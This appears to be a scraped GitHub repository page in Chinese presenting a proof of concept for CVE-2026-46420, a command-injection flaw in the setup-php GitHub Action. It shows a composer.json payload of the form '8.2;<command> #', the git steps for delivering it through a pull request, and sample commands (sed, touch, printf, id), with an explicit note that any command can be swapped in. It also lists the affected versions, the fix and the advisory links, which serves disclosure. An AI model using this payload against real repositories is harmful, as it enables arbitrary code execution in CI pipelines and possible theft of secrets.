Jvr2022/CVE-2026-46420

GitHub: Jvr2022/CVE-2026-46420

针对 shivammathur/setup-php 的 CVE-2026-46420 命令注入漏洞的概念验证,演示了通过 composer.json 的 PHP 版本字段在 CI/CD 流水线中执行任意命令。

Stars: 1 | Forks: 0

# CVE-2026-46420 PoC 当从仓库控制的文件中加载 PHP 版本时,`shivammathur/setup-php` 中存在命令注入漏洞。 受影响版本: ``` >= 2.25.0, < 2.37.1 ``` 已修复版本: ``` >= 2.37.1 ``` ## PoC 目标仓库已经存在一个存在漏洞的 workflow,该 workflow 会检出 pull request 的内容并运行 `setup-php@2.37.0`。 攻击者只需修改 `composer.json`。 ``` -"php": "8.2" +"php": [ + "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #" +] ``` 当 `setup-php` 从 `composer.json` 读取 PHP 版本时,注入的命令会被包含在生成的 shell 脚本中并被执行。 结果: ``` -FEATURE_FLAG=off +FEATURE_FLAG=modified-by-poc ``` ## 复现 从目标仓库创建一个分支: ``` git checkout -b poc-test ``` 将干净的 `composer.json` 替换为 PoC 版本: ``` cp attacker/composer.json composer.json ``` 提交并推送: ``` git add composer.json git commit -m "update composer config" git push -u origin poc-test ``` 从 `poc-test` 向 `main` 发起一个 pull request。 Actions 运行结果应该会显示 `demo-app/.env.example` 在 `setup-php` 步骤中被修改了。 ## 更改命令 Payload 格式如下: ``` 8.2; # ``` 当前 Payload: ``` 8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example # ``` 执行的命令为: ``` sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example ``` 要更改 PoC 执行的操作,请替换 `8.2;` 和 `#` 之间的命令。 创建文件: ``` 8.2;touch poc-executed # ``` 写入文件: ``` 8.2;printf 'poc executed\n' > poc-result.txt # ``` 打印命令输出: ``` 8.2;id # ``` 示例 `composer.json`: ``` { "config": { "platform": { "php": [ "8.2;touch poc-executed #" ] } } } ``` ## 修复 升级到 `setup-php@2.37.1` 或更新版本。 相同的 Payload 在修补后的版本中会被拒绝。 ## 参考 https://github.com/shivammathur/setup-php/security/advisories/GHSA-pqwm-q9pv-ph8r https://github.com/shivammathur/setup-php/commit/eeef37e059fb5368a5bc8ed8ce45ff54bd39b80b
标签:CI/CD安全, Cutter, GitHub Actions, Homebrew安装, Llama, Maven, OpenVAS, PHP, PoC, 命令注入, 暴力破解, 漏洞验证, 自动笔记